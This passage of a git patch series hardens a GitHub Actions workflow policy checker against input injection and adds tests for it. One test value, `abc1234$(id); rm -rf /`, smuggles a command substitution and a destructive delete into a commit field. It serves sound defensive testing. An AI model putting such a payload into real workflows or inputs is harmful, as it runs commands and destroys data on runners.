"source_behavior", "tier": "source", "status": "pass", - "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", + "graph_sha256": "8c88b13d0085393f4675e34e2d3b285d053ed5dd604117272765ee90c8b2712b", "observed_at": "2026-07-16T11:00:00.000Z", "expires_at": "2026-07-17T11:00:00.000Z", "identity": { From 741aee09e0bff4c65658e34ed0732d1ac4719992 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 10:10:16 -0500 Subject: [PATCH 034/132] pin the guard's shell and make the interpolation ban cover the file The dispatch-coordinate guard's whole-value test is `[[ =~ ]]`, a bash construct. Nothing that read the step could see which shell would run it: the script digest covers `run:` text only, and the behavioural harness hardcoded bash. Adding `shell: sh` therefore left both green while the guard, under dash, hit "[[: not found" inside an `if` -- which `set -e` does not treat as an error -- skipped its reject branch, and exited 0 on `abc1234$(id); rm -rf /`. The step now declares its shell, policy pins that declaration for every run step in the file, and the harness resolves the declared key instead of assuming one. The interpolation ban advertised a file-wide invariant but iterated one job, so a second fully-formed job whose step interpolated the dispatched commit passed. It now walks every job, and the violation names the job it found. Three narrower ways around the same invariant close with it: `uses:` steps were exempt though an action can evaluate what it is handed, the brace form `${INPUT_COMMIT}` was not recognised as a read, and the trigger surface was unpinned so a second trigger could carry inputs the guard never sees. The publish gate's assertion is now the claim graph's, which compares `needs:` as the unordered set GitHub treats it as, rather than the single ordered comparison that reported an equivalent reordering as a violation. Co-Authored-By: Claude Opus 5 --- .github/scripts/check-workflow-policy.mjs | 91 +++++-- .../scripts/check-workflow-policy.test.mjs | 223 +++++++++++++++++- .github/workflows/marketplace-sync.yml | 6 + 3 files changed, 294 insertions(+), 26 deletions(-) diff --git a/.github/scripts/check-workflow-policy.mjs b/.github/scripts/check-workflow-policy.mjs index 723dc487b..2bae5a989 100644 --- a/.github/scripts/check-workflow-policy.mjs +++ b/.github/scripts/check-workflow-policy.mjs @@ -4613,6 +4613,14 @@ export function validateMarketplaceSync(workflows, violations) { violations.push(`${file} must exist`); return; } + // Pinning the dispatch input names while leaving the trigger set open closes one door and + // leaves another: `workflow_call` carries its own inputs, which `on.workflow_dispatch.inputs` + // says nothing about, and a caller-supplied value would reach the same steps. + add( + violations, + hasExactKeys(object(workflow.on), ["workflow_dispatch"]), + `${file} must be reachable only by manual dispatch`, + ); add( violations, hasExactKeys(at(workflow, "on", "workflow_dispatch", "inputs"), ["version", "commit"]), @@ -4623,23 +4631,77 @@ export function validateMarketplaceSync(workflows, violations) { INPUT_COMMIT: "${{ inputs.commit }}", INPUT_VERSION: "${{ inputs.version }}", }; - for (const [index, rawStep] of list(job.steps).entries()) { - const step = object(rawStep); - if (typeof step.run !== "string") continue; - // Interpolation is textual and quoting does not stop command substitution, so a dispatched - // value spliced into script text executes on the runner -- here beside repository tokens. - add( - violations, - !step.run.includes("${{"), - `${file} jobs.sync.steps.${index} must read dispatch inputs from env, not interpolated script text`, - ); - for (const [name, expected] of Object.entries(bindings)) { - if (!step.run.includes(`$${name}`)) continue; + const checkout = "Checkout the published commit"; + // GitHub serves the same dispatched value under a second name, `github.event.inputs.commit`, and + // the guard validates only what arrives as `inputs.commit`. The checkout already refuses the + // other spelling for its own `ref`; this refuses it everywhere in the file, including the job + // level, where a step's own binding check cannot see it. + add( + violations, + scalarStrings(workflow) + .flatMap(text => [...text.matchAll(/\$\{\{[^}]*\binputs\b[^}]*\}\}/gu)].map(match => match[0])) + .every(expression => Object.values(bindings).includes(expression)), + `${file} must name a dispatch input only as ${bindings.INPUT_COMMIT} or ${bindings.INPUT_VERSION}`, + ); + // The ban is a property of the file, not of one job. A second job added beside `sync` runs on a + // runner with the same repository token and the same marketplace environment, so a scan scoped + // to `jobs.sync` would exempt exactly the code an attacker would add. + for (const [jobName, rawJob] of Object.entries(object(workflow.jobs))) { + for (const [index, rawStep] of list(object(rawJob).steps).entries()) { + const step = object(rawStep); + const where = `${file} jobs.${jobName}.steps.${index}`; + if (typeof step.run === "string") { + // Interpolation is textual and quoting does not stop command substitution, so a dispatched + // value spliced into script text executes on the runner -- here beside repository tokens. + add( + violations, + !step.run.includes("${{"), + `${where} must read dispatch inputs from env, not interpolated script text`, + ); + // A `run:` body is executed by the shell the step declares, so the script and its + // interpreter are one artifact. The guard's whole-value test is `[[ =~ ]]`, which POSIX + // shells do not have: under `shell: sh` the condition is a missing command, `set -e` does + // not fire inside an `if`, the refusal branch never runs, and the guard exits 0 on the very + // value it exists to reject. Nothing in the script's own text can see that, so the shell is + // pinned here. + add( + violations, + step.shell === "bash", + `${where} must declare shell: bash so its script runs under the shell it was reviewed under`, + ); + } + // `env:` is the sanctioned channel into a step. Every other scalar is an action input or + // script text, and an action can evaluate what it is handed -- `actions/github-script` runs + // its `script:` input. The checkout `ref` is the single exception: it is not an executable + // surface and is separately pinned below to the value the guard validated. That exemption is + // scoped to `sync`, the only job the guard runs in; a like-named step elsewhere is not covered + // by it and so is not exempt either. + const surfaces = { ...step }; + delete surfaces.env; + if (jobName === "sync" && step.name === checkout) { + surfaces.with = { ...object(step.with) }; + delete surfaces.with.ref; + } add( violations, - object(step.env)[name] === expected, - `${file} jobs.sync.steps.${index} must bind ${name} to ${expected}`, + !scalarStrings(surfaces).some(text => /\$\{\{[^}]*\binputs\b/u.test(text)), + `${where} must not splice a dispatch input into an action input`, ); + for (const [name, expected] of Object.entries(bindings)) { + // `$NAME` and `${NAME}` are the same read; gating on the bare form alone let a step consume + // `${INPUT_COMMIT}` with no binding at all. Checking the declaration too closes the other + // direction: a binding of the unvalidated `github.event.inputs` spelling is a violation + // whether or not this step is the one that reads it. + const consumed = typeof step.run === "string" + && new RegExp(`\\$\\{?${name}\\b`, "u").test(step.run); + const declared = Object.hasOwn(object(step.env), name); + if (!consumed && !declared) continue; + add( + violations, + object(step.env)[name] === expected, + `${where} must bind ${name} to ${expected}`, + ); + } } } // Shape is proven before the checkout resolves the ref and before any marketplace token exists. @@ -4665,7 +4727,6 @@ export function validateMarketplaceSync(workflows, violations) { ); // Ordering only buys something if the guard covers what the next step consumes. Without this the // checkout could resolve `github.ref` and the validated commit would gate nothing. - const checkout = "Checkout the published commit"; add( violations, object(object(namedStep(job, checkout)).with).ref === bindings.INPUT_COMMIT, diff --git a/.github/scripts/check-workflow-policy.test.mjs b/.github/scripts/check-workflow-policy.test.mjs index 630957121..026be9dd6 100644 --- a/.github/scripts/check-workflow-policy.test.mjs +++ b/.github/scripts/check-workflow-policy.test.mjs @@ -123,21 +123,60 @@ ${run}`; }); } -// Runs the marketplace guard exactly as Actions does: the dispatched values arrive through the -// environment, so a value containing a newline stays one value instead of being re-split by the -// harness. Text assertions cannot tell an enforcing guard from a decorative one, so the guard is -// measured against the values it exists to refuse. -function runMarketplaceGuard(environment) { - const workflow = loadWorkflows().get("marketplace-sync.yml"); - const run = draftStep(workflow.jobs.sync, "Validate the dispatched release coordinates").run; - const executable = process.platform === "win32" ? "wsl.exe" : "bash"; +const marketplaceGuardName = "Validate the dispatched release coordinates"; + +function marketplaceGuardStep() { + return draftStep(loadWorkflows().get("marketplace-sync.yml").jobs.sync, marketplaceGuardName); +} + +// Actions executes a `run:` body with the shell the step declares, so a harness that hardcodes +// bash measures a script the workflow may no longer run. Resolving the declared key here is what +// makes the refusals below evidence about the step as written: flip the workflow to `shell: sh` +// and this suite re-runs the guard under `sh`, where it stops refusing. +function marketplaceGuardShell(step) { + const declared = step.shell; + assert.equal( + typeof declared, + "string", + `${marketplaceGuardName} must declare its shell; the harness will not guess one`, + ); + const known = { bash: "bash", sh: "sh" }; + assert.ok( + Object.hasOwn(known, declared), + `${marketplaceGuardName} declares shell ${JSON.stringify(declared)}, which this harness cannot run`, + ); + return known[declared]; +} + +// The dispatched values arrive through the environment, so a value containing a newline stays one +// value instead of being re-split by the harness. Text assertions cannot tell an enforcing guard +// from a decorative one, so the guard is measured against the values it exists to refuse. +function spawnMarketplaceGuard(shell, run, environment) { + const executable = process.platform === "win32" ? "wsl.exe" : shell; const args = process.platform === "win32" - ? ["--exec", "/bin/bash", "-c", run] + ? ["--exec", shell.startsWith("/") ? shell : `/bin/${shell}`, "-c", run] : ["-c", run]; - return spawnSync(executable, args, { + return { shell, ...spawnSync(executable, args, { encoding: "utf8", env: { ...process.env, ...environment }, - }); + }) }; +} + +function runMarketplaceGuard(environment) { + const step = marketplaceGuardStep(); + return spawnMarketplaceGuard(marketplaceGuardShell(step), step.run, environment); +} + +// A POSIX shell that genuinely lacks `[[`. macOS ships `/bin/sh` as bash in POSIX mode, which +// still has it, so the candidate is probed rather than assumed. +function posixShellWithoutDoubleBracket() { + for (const candidate of ["dash", "/bin/dash", "sh", "/bin/sh"]) { + const usable = spawnSync(candidate, ["-c", "exit 0"], { encoding: "utf8" }); + if (usable.error !== undefined || usable.status !== 0) continue; + const probe = spawnSync(candidate, ["-c", "[[ 1 = 1 ]]"], { encoding: "utf8" }); + if (probe.status !== 0) return candidate; + } + return undefined; } function windowsManifestJob(workflow) { @@ -2449,6 +2488,94 @@ test("marketplace sync keeps dispatch inputs out of script text", async (t) => { ["a third dispatch input appears", workflow => { workflow.on.workflow_dispatch.inputs.ref = { required: false, type: "string" }; }, /must dispatch on exactly a version and a commit/u], + // Pinning `on.workflow_dispatch.inputs` says nothing about a second trigger, and a + // `workflow_call` input is neither validated by the guard nor named by that assertion. + ["a second trigger opens an unvalidated input surface", workflow => { + workflow.on.workflow_call = { inputs: { ref: { required: false, type: "string" } } }; + }, /must be reachable only by manual dispatch/u], + ["the file becomes reachable on push", workflow => { + workflow.on.push = { branches: ["main"] }; + }, /must be reachable only by manual dispatch/u], + // The ban advertises itself as a property of the file. A scan scoped to `jobs.sync` would + // exempt any job added beside it -- fully formed, so nothing else in policy objects either. + ["a second job interpolates the commit into its own script", workflow => { + workflow.jobs.leak = { + "runs-on": "ubuntu-latest", + "timeout-minutes": 10, + permissions: { contents: "read" }, + steps: [{ + name: "Echo the dispatched commit", + shell: "bash", + run: 'echo "${{ inputs.commit }}"\n', + }], + }; + }, /jobs\.leak\.steps\.0 must read dispatch inputs from env/u], + ["a second job's step runs under an unpinned shell", workflow => { + workflow.jobs.leak = { + "runs-on": "ubuntu-latest", + "timeout-minutes": 10, + permissions: { contents: "read" }, + steps: [{ name: "Do something", run: "echo hello\n" }], + }; + }, /jobs\.leak\.steps\.0 must declare shell: bash/u], + // A `uses:` step is not exempt: an action can evaluate the input it is handed, and + // `actions/github-script` runs its `script:` input as JavaScript. + ["a pinned action evaluates the commit as script text", workflow => { + workflow.jobs.sync.steps.push({ + name: "Report the dispatched commit", + uses: `actions/github-script@${fullSha}`, + with: { script: 'console.log("${{ inputs.commit }}")' }, + }); + }, /jobs\.sync\.steps\.5 must not splice a dispatch input into an action input/u], + ["a pinned action takes the unvalidated spelling of the input", workflow => { + workflow.jobs.sync.steps.push({ + name: "Report the dispatched commit", + uses: `actions/github-script@${fullSha}`, + with: { script: 'console.log("${{ github.event.inputs.commit }}")' }, + }); + }, /jobs\.sync\.steps\.5 must not splice a dispatch input into an action input/u], + // `$NAME` and `${NAME}` are the same read, so a binding assertion that only sees the bare form + // is evaded by writing the brace form and deleting the bindings. + ["a brace-form read loses both of its env bindings", workflow => { + const step = draftStep(workflow.jobs.sync, "Point the catalog at the published release"); + step.run = step.run + .replaceAll('"$INPUT_COMMIT"', '"${INPUT_COMMIT}"') + .replaceAll('"$INPUT_VERSION"', '"${INPUT_VERSION}"'); + delete step.env.INPUT_COMMIT; + delete step.env.INPUT_VERSION; + }, /jobs\.sync\.steps\.4 must bind INPUT_COMMIT/u], + // The other direction: a binding may not name the unvalidated spelling, whether or not the + // step that declares it is the step that reads it. + ["a binding is rewired to the unvalidated spelling but never read", workflow => { + workflow.jobs.sync.steps.push({ + name: "Carry an unvalidated commit", + shell: "bash", + env: { INPUT_COMMIT: "${{ github.event.inputs.commit }}" }, + run: "echo bound\n", + }); + }, /jobs\.sync\.steps\.5 must bind INPUT_COMMIT/u], + // Job-level `env:` is below every step's own binding check, so the unvalidated spelling is + // refused by name wherever it appears rather than only where a step declares it. + ["the unvalidated spelling hides in job-level env", workflow => { + workflow.jobs.sync.env = { CARRIED: "${{ github.event.inputs.commit }}" }; + }, /must name a dispatch input only as \$\{\{ inputs\.commit \}\}/u], + ["the unvalidated spelling hides in a job-level conditional", workflow => { + workflow.jobs.sync.if = "${{ github.event.inputs.version != '' }}"; + }, /must name a dispatch input only as \$\{\{ inputs\.commit \}\}/u], + // The checkout `ref` exemption exists because that one step's ref is separately pinned to the + // value the guard validated. A like-named step in another job borrows the name, not the guard. + ["another job borrows the checkout step's name to inherit its exemption", workflow => { + workflow.jobs.leak = { + "runs-on": "ubuntu-latest", + "timeout-minutes": 10, + permissions: { contents: "read" }, + steps: [{ + name: "Checkout the published commit", + uses: "actions/checkout@v5", + with: { ref: "${{ inputs.commit }}" }, + }], + }; + }, /jobs\.leak\.steps\.0 must not splice a dispatch input into an action input/u], ]; for (const [name, mutate, expected] of mutations) { await t.test(name, () => { @@ -2502,6 +2629,80 @@ test("the marketplace dispatch guard refuses whole values, not first lines", asy assert.equal(result.status, 0, result.stderr); }); } + await t.test("every refusal above was measured under the shell the step declares", () => { + assert.equal(marketplaceGuardStep().shell, "bash"); + assert.equal(runMarketplaceGuard({ INPUT_COMMIT: "abc1234", INPUT_VERSION: version }).shell, "bash"); + }); +}); + +// `shell:` is invisible to both the fragment assertions and the script digest -- neither reads a +// key outside `run:` -- so the guard's dependence on bash was a blind spot on both sides. This +// measures that dependence rather than arguing it: the identical script, under a shell that lacks +// `[[`, never reaches its own refusal. That is why the shell is pinned in policy, and why the +// harness above resolves the declared key instead of hardcoding bash. +test("the dispatch guard's refusal is bash-dependent, so the declared shell is load-bearing", async (t) => { + const payload = { INPUT_COMMIT: "abc1234$(id); rm -rf /", INPUT_VERSION: "0.16.3" }; + const step = marketplaceGuardStep(); + + await t.test("bash refuses the payload", () => { + const result = spawnMarketplaceGuard("bash", step.run, payload); + assert.equal(result.status, 1, `bash admitted ${JSON.stringify(payload)}`); + assert.match(result.stdout, /::error::commit must be/u); + }); + + // The harness reads the step's declared shell rather than assuming one, so a workflow that + // changed its shell would change what this suite executes instead of silently measuring bash. + await t.test("the harness follows the declared shell and refuses to guess", () => { + assert.equal(marketplaceGuardShell({ shell: "bash" }), "bash"); + assert.equal(marketplaceGuardShell({ shell: "sh" }), "sh"); + assert.throws(() => marketplaceGuardShell({}), /must declare its shell/u); + assert.throws(() => marketplaceGuardShell({ shell: "pwsh" }), /cannot run/u); + }); + + const posix = posixShellWithoutDoubleBracket(); + await t.test("a POSIX shell never reaches the refusal", { skip: posix === undefined + ? "no POSIX shell without [[ is available on this host" + : false }, () => { + const result = spawnMarketplaceGuard(posix, step.run, payload); + // On dash `[[` is a missing command; inside an `if` condition `set -e` does not fire, so the + // reject branch is skipped and the script runs off its end with status 0. Older dash instead + // dies on `set -o pipefail`. Either way the refusal the guard exists to perform never happens. + assert.doesNotMatch( + result.stdout, + /::error::commit must be/u, + `${posix} unexpectedly performed the guard's refusal`, + ); + }); + + await t.test("policy refuses to let the step run under that shell", () => { + const workflows = loadWorkflows(); + draftStep(workflows.get("marketplace-sync.yml").jobs.sync, marketplaceGuardName).shell = "sh"; + assert.match( + validateWorkflows(workflows).join("\n"), + /marketplace-sync\.yml jobs\.sync\.steps\.0 must declare shell: bash/u, + ); + }); + + await t.test("policy refuses an inherited shell", () => { + const workflows = loadWorkflows(); + delete draftStep(workflows.get("marketplace-sync.yml").jobs.sync, marketplaceGuardName).shell; + assert.match( + validateWorkflows(workflows).join("\n"), + /marketplace-sync\.yml jobs\.sync\.steps\.0 must declare shell: bash/u, + ); + }); + + await t.test("the pin covers every run step in the file, not only the guard", () => { + const workflows = loadWorkflows(); + draftStep( + workflows.get("marketplace-sync.yml").jobs.sync, + "Point the catalog at the published release", + ).shell = "sh"; + assert.match( + validateWorkflows(workflows).join("\n"), + /marketplace-sync\.yml jobs\.sync\.steps\.4 must declare shell: bash/u, + ); + }); }); test("the plugin lane publishes the catalog it then smoke-installs", async (t) => { diff --git a/.github/workflows/marketplace-sync.yml b/.github/workflows/marketplace-sync.yml index 42c280024..e8b917c8d 100644 --- a/.github/workflows/marketplace-sync.yml +++ b/.github/workflows/marketplace-sync.yml @@ -36,7 +36,11 @@ jobs: # and double quotes do not stop command substitution, so a value spliced into script text runs # as a command on the runner -- here with the default token and, later, the marketplace app # token. Shape is checked before the ref is resolved or any token is minted. + # `[[ =~ ]]` is a bash construct. Under a POSIX shell it is a missing command inside an `if`, + # which `set -e` does not treat as an error, so the refusal below would be skipped and the + # guard would exit 0 on the value it exists to reject. The shell is declared, not inherited. - name: Validate the dispatched release coordinates + shell: bash env: INPUT_COMMIT: ${{ inputs.commit }} INPUT_VERSION: ${{ inputs.version }} @@ -64,6 +68,7 @@ jobs: fetch-depth: 0 - name: Require a published release for this commit + shell: bash env: GH_TOKEN: ${{ github.token }} INPUT_COMMIT: ${{ inputs.commit }} @@ -92,6 +97,7 @@ jobs: repositories: AgentPluginMarketplace - name: Point the catalog at the published release + shell: bash env: GH_TOKEN: ${{ steps.token.outputs.token }} INPUT_COMMIT: ${{ inputs.commit }} From d1179cc2f58a93381448d339a127dc5138822bd2 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 10:38:59 -0500 Subject: [PATCH 035/132] keep the dispatch guard binding, not advisory `continue-on-error` sits outside the script exactly as `shell:` does, so nothing the guard asserts about its own text can see it. Set on the step it leaves the refusal running and ignores its exit code; set on the job it downgrades every guard the job contains. Pin both. Co-Authored-By: Claude Opus 5 --- .github/scripts/check-workflow-policy.mjs | 13 +++++++++++++ .github/scripts/check-workflow-policy.test.mjs | 8 ++++++++ 2 files changed, 21 insertions(+) diff --git a/.github/scripts/check-workflow-policy.mjs b/.github/scripts/check-workflow-policy.mjs index 2bae5a989..2157e1a31 100644 --- a/.github/scripts/check-workflow-policy.mjs +++ b/.github/scripts/check-workflow-policy.mjs @@ -4647,9 +4647,22 @@ export function validateMarketplaceSync(workflows, violations) { // runner with the same repository token and the same marketplace environment, so a scan scoped // to `jobs.sync` would exempt exactly the code an attacker would add. for (const [jobName, rawJob] of Object.entries(object(workflow.jobs))) { + // `continue-on-error` is the same class of blind spot as `shell:`: it lives outside the script, + // so nothing the guard's own text asserts can see it, and it converts the guard's `exit 1` into + // advice. A job carrying it downgrades every step it contains at once. + add( + violations, + object(rawJob)["continue-on-error"] === undefined, + `${file} jobs.${jobName} must not declare continue-on-error, which would make its guards advisory`, + ); for (const [index, rawStep] of list(object(rawJob).steps).entries()) { const step = object(rawStep); const where = `${file} jobs.${jobName}.steps.${index}`; + add( + violations, + step["continue-on-error"] === undefined, + `${where} must not declare continue-on-error, which would make its refusal advisory`, + ); if (typeof step.run === "string") { // Interpolation is textual and quoting does not stop command substitution, so a dispatched // value spliced into script text executes on the runner -- here beside repository tokens. diff --git a/.github/scripts/check-workflow-policy.test.mjs b/.github/scripts/check-workflow-policy.test.mjs index 026be9dd6..18b698812 100644 --- a/.github/scripts/check-workflow-policy.test.mjs +++ b/.github/scripts/check-workflow-policy.test.mjs @@ -2518,6 +2518,14 @@ test("marketplace sync keeps dispatch inputs out of script text", async (t) => { steps: [{ name: "Do something", run: "echo hello\n" }], }; }, /jobs\.leak\.steps\.0 must declare shell: bash/u], + // `continue-on-error` sits outside the script, exactly like `shell:`, so the guard's own text + // cannot assert against it. It leaves the refusal running and simply ignores its exit code. + ["the guard's refusal is downgraded to advice", workflow => { + workflow.jobs.sync.steps[0]["continue-on-error"] = true; + }, /jobs\.sync\.steps\.0 must not declare continue-on-error/u], + ["a whole job downgrades every guard it contains", workflow => { + workflow.jobs.sync["continue-on-error"] = true; + }, /jobs\.sync must not declare continue-on-error/u], // A `uses:` step is not exempt: an action can evaluate the input it is handed, and // `actions/github-script` runs its `script:` input as JavaScript. ["a pinned action evaluates the commit as script text", workflow => { From 69d05b74386b44fd08d78ea3ae372159367f9cf2 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 10:52:50 -0500 Subject: [PATCH 036/132] stage a servable store when a fixture calls itself healthy #1562 taught the readiness projection to derive freshness from `storage_admission_refusal_reason_for_runtime`, which recounts the symbol docs, dense anchors, and dense-reason histogram in the store and refuses a manifest that disagrees with them. That change is right and stays. What it also did was invalidate every fixture that staged a "healthy published store" by upserting the manifest row alone. Such a store records eight symbol docs and two dense anchors over a store holding none of either - exactly the core-only-refresh shape readiness is now supposed to catch - so readiness correctly reported it stale. This crate updated its own fixture in #1562 (`publish_admissible_full_retrieval_manifest`) but not the one it exports to consumers, and the CLI doctor's regression staged its "healthy fresh manifest-published store" through that exported helper. The confirmed refusal was `retrieval_manifest_stale: sidecar_symbol_doc_count_changed: manifest=8 current=0`. Seed the rows the manifest's own counts describe, from one owner in `search_publication` that this crate's fixture and the exported test-support entry point both call, so the two cannot drift apart again. The doctor regression gets the servable store it always meant to describe and reports ok. Cover the other direction where it renders: doctor now also asserts warn after a core-only refresh and after an interrupted incremental run, the two publications #1557 taught readiness to refuse. Those are staged through `stage_core_only_refresh_for_test` and `stage_incomplete_incremental_run_for_test` rather than a manifest-only store, which would have reported stale for the wrong reason and proven nothing. Closes #1572 Refs #1557 Co-Authored-By: Claude Opus 5 --- .../app/tests/lifecycle/packet_diagnostics.rs | 104 +++++++++++++++- crates/codestory-runtime/src/lib.rs | 74 ++++++++++-- .../src/search_publication.rs | 113 ++++++++++++++++++ crates/codestory-runtime/src/tests.rs | 80 +++---------- 4 files changed, 290 insertions(+), 81 deletions(-) diff --git a/crates/codestory-cli/src/app/tests/lifecycle/packet_diagnostics.rs b/crates/codestory-cli/src/app/tests/lifecycle/packet_diagnostics.rs index ccca6159d..3936901f9 100644 --- a/crates/codestory-cli/src/app/tests/lifecycle/packet_diagnostics.rs +++ b/crates/codestory-cli/src/app/tests/lifecycle/packet_diagnostics.rs @@ -112,10 +112,19 @@ fn index_next_commands_use_sidecar_repair_for_missing_embedding_runtime() { ); } -/// Publish `manifest` for a fresh temp project and run the production -/// readiness projection against it, exactly as `doctor` consumes it. -fn doctor_retrieval_state_for_manifest( +/// Publish a full sidecar manifest for a fresh temp project, let `stage` +/// disturb the store afterwards, and run the production readiness projection +/// against the result exactly as `doctor` consumes it. +/// +/// The publication goes through `publish_admissible_retrieval_manifest_for_test` +/// so the seeded symbol docs and dense anchors back the manifest's own counts. +/// Readiness derives freshness from the same storage recount sidecar admission +/// runs, so a fixture that upserts only the manifest row stages a publication +/// admission *refuses*: every case below would then report stale for that one +/// reason and none of these checks would prove anything. +fn doctor_retrieval_state_for_publication( mutate: impl FnOnce(&mut codestory_retrieval::RetrievalIndexManifest), + stage: impl FnOnce(&Path, &Path, &codestory_retrieval::RetrievalIndexManifest), ) -> codestory_contracts::api::RetrievalStateDto { let temp = tempfile::tempdir().expect("temp dir"); let project_root = temp.path().join("project"); @@ -128,8 +137,10 @@ fn doctor_retrieval_state_for_manifest( manifest.symbol_doc_count = Some(8); manifest.dense_projection_count = Some(2); mutate(&mut manifest); - codestory_runtime::publish_retrieval_manifest_for_test(&storage_path, &manifest) - .expect("publish retrieval manifest"); + let published = + codestory_runtime::publish_admissible_retrieval_manifest_for_test(&storage_path, &manifest) + .expect("publish retrieval manifest"); + stage(&storage_path, &project_root, &published); codestory_runtime::retrieval_state_from_manifest_storage_for_test( &storage_path, &project_root, @@ -138,6 +149,12 @@ fn doctor_retrieval_state_for_manifest( .expect("retrieval state") } +fn doctor_retrieval_state_for_manifest( + mutate: impl FnOnce(&mut codestory_retrieval::RetrievalIndexManifest), +) -> codestory_contracts::api::RetrievalStateDto { + doctor_retrieval_state_for_publication(mutate, |_, _, _| {}) +} + #[test] fn doctor_semantic_check_is_healthy_for_fresh_manifest_published_store() { // Regression: a healthy fresh install publishes semantic readiness through @@ -153,6 +170,11 @@ fn doctor_semantic_check_is_healthy_for_fresh_manifest_published_store() { retrieval.stored_embedding.is_some(), "build_doctor_output only includes the semantic check when a stored contract exists" ); + assert!( + retrieval.semantic_ready, + "a servable publication must reach doctor as semantic-ready: {:?}", + retrieval.fallback_message + ); let check = semantic_contract_check(&retrieval); assert_eq!( @@ -167,6 +189,78 @@ fn doctor_semantic_check_is_healthy_for_fresh_manifest_published_store() { ); } +#[test] +fn doctor_semantic_check_warns_after_a_core_only_refresh() { + // The other direction, at the surface that renders it. A core-only refresh + // republishes the core index without rebuilding the sidecar: the manifest + // and its aggregates still agree, but an indexed file is now newer than the + // publication, so sidecar admission refuses the very next search with + // `indexed_file_newer_than_retrieval_manifest`. Doctor must say so rather + // than call the store healthy — this is #1557's over-claim, asserted here + // because the runtime crate alone is not the blast radius of a readiness + // change that CLI surfaces consume. + let retrieval = doctor_retrieval_state_for_publication( + |_| {}, + |storage_path, project_root, manifest| { + codestory_runtime::stage_core_only_refresh_for_test( + storage_path, + project_root, + manifest.built_at_epoch_ms + 60_000, + ) + .expect("stage core-only refresh"); + }, + ); + + assert!( + !retrieval.semantic_ready, + "readiness must not promise hybrid retrieval admission refuses to serve" + ); + let check = semantic_contract_check(&retrieval); + + assert_eq!( + check.status, "warn", + "a core-only refresh must not be reported as healthy: {}", + check.message + ); + assert!( + check.message.contains("semantic stale"), + "unexpected doctor message: {}", + check.message + ); +} + +#[test] +fn doctor_semantic_check_warns_for_an_interrupted_incremental_run() { + // The second half of #1557: an interrupted incremental run leaves the + // manifest, symbol-doc count, dense anchors, and indexed-file mtimes all + // agreeing, so manifest-shape freshness sees nothing wrong, while admission + // refuses with `incomplete_incremental_index_run`. + let retrieval = doctor_retrieval_state_for_publication( + |_| {}, + |storage_path, _, _| { + codestory_runtime::stage_incomplete_incremental_run_for_test(storage_path) + .expect("stage interrupted incremental run"); + }, + ); + + assert!( + !retrieval.semantic_ready, + "readiness must not promise hybrid retrieval admission refuses to serve" + ); + let check = semantic_contract_check(&retrieval); + + assert_eq!( + check.status, "warn", + "an interrupted incremental run must not be reported as healthy: {}", + check.message + ); + assert!( + check.message.contains("semantic stale"), + "unexpected doctor message: {}", + check.message + ); +} + #[test] fn doctor_semantic_check_stays_warn_for_mismatched_manifest_backend() { let retrieval = doctor_retrieval_state_for_manifest(|manifest| { diff --git a/crates/codestory-runtime/src/lib.rs b/crates/codestory-runtime/src/lib.rs index cbd24fb64..4ccb58068 100644 --- a/crates/codestory-runtime/src/lib.rs +++ b/crates/codestory-runtime/src/lib.rs @@ -133,29 +133,79 @@ use semantic_projection::edge_digest_for_node; #[doc(hidden)] pub use semantic_projection::stored_semantic_embeddings_for_test; -/// Test-support: publish a retrieval manifest fixture into the store at -/// `storage_path`. Consumer crates (for example the CLI, whose architecture -/// contract forbids direct `codestory_store` access) use this to stage -/// manifest-published stores for readiness regression tests. +/// Test-support: publish a *servable* retrieval manifest fixture into the +/// store at `storage_path`. Consumer crates (for example the CLI, whose +/// architecture contract forbids direct `codestory_store` access) use this to +/// stage manifest-published stores for readiness regression tests. +/// +/// This seeds the symbol docs and dense anchors the manifest's own counts +/// describe, not just the manifest row, because readiness derives freshness +/// from the same storage recount sidecar admission uses. A manifest-only +/// fixture stages a publication admission refuses, so it cannot stand in for a +/// healthy project — see [`search_publication::publish_admissible_retrieval_manifest`]. +/// The returned manifest is the one actually published; its +/// `dense_reason_counts_json` matches the seeded anchors. #[cfg(feature = "test-support")] #[doc(hidden)] -pub fn publish_retrieval_manifest_for_test( +pub fn publish_admissible_retrieval_manifest_for_test( storage_path: &Path, manifest: &codestory_retrieval::RetrievalIndexManifest, +) -> Result { + let mut storage = open_storage_for_manifest_fixture(storage_path)?; + search_publication::publish_admissible_retrieval_manifest(&mut storage, manifest) +} + +/// Test-support: leave behind the store shape a *core-only refresh* produces — +/// an indexed file newer than the published sidecar, with the manifest and its +/// aggregates untouched. Sidecar admission refuses that publication with +/// `indexed_file_newer_than_retrieval_manifest`, so readiness must not promise +/// hybrid retrieval over it. +#[cfg(feature = "test-support")] +#[doc(hidden)] +pub fn stage_core_only_refresh_for_test( + storage_path: &Path, + project_root: &Path, + file_modification_time_epoch_ms: i64, ) -> Result<(), ApiError> { - let mut storage = Storage::open(storage_path).map_err(|error| { - ApiError::internal(format!( - "Failed to open storage for manifest fixture: {error}" - )) - })?; + let mut storage = open_storage_for_manifest_fixture(storage_path)?; storage - .upsert_retrieval_index_manifest(manifest) + .insert_files_batch(&[FileInfo { + id: 900_001, + path: project_root.join("core_only_refresh.rs"), + language: "rust".to_string(), + modification_time: file_modification_time_epoch_ms, + indexed: true, + complete: true, + line_count: 1, + file_role: StoreFileRole::Source, + }]) .map_err(|error| { - ApiError::internal(format!("Failed to publish manifest fixture: {error}")) + ApiError::internal(format!("Failed to seed core-only refresh file: {error}")) })?; Ok(()) } +/// Test-support: leave behind the marker an *interrupted incremental run* +/// leaves. Manifest, aggregates, and mtimes all still agree; admission still +/// refuses with `incomplete_incremental_index_run`, so readiness must too. +#[cfg(feature = "test-support")] +#[doc(hidden)] +pub fn stage_incomplete_incremental_run_for_test(storage_path: &Path) -> Result<(), ApiError> { + let storage = open_storage_for_manifest_fixture(storage_path)?; + storage.begin_incremental_run().map_err(|error| { + ApiError::internal(format!("Failed to mark incremental run in flight: {error}")) + }) +} + +#[cfg(feature = "test-support")] +fn open_storage_for_manifest_fixture(storage_path: &Path) -> Result { + Storage::open(storage_path).map_err(|error| { + ApiError::internal(format!( + "Failed to open storage for manifest fixture: {error}" + )) + }) +} + /// Test-support: run the production manifest-derived retrieval readiness /// projection against a storage path, exactly as the search/ground/index /// surfaces do. Consumer-side regression tests (for example the CLI doctor) diff --git 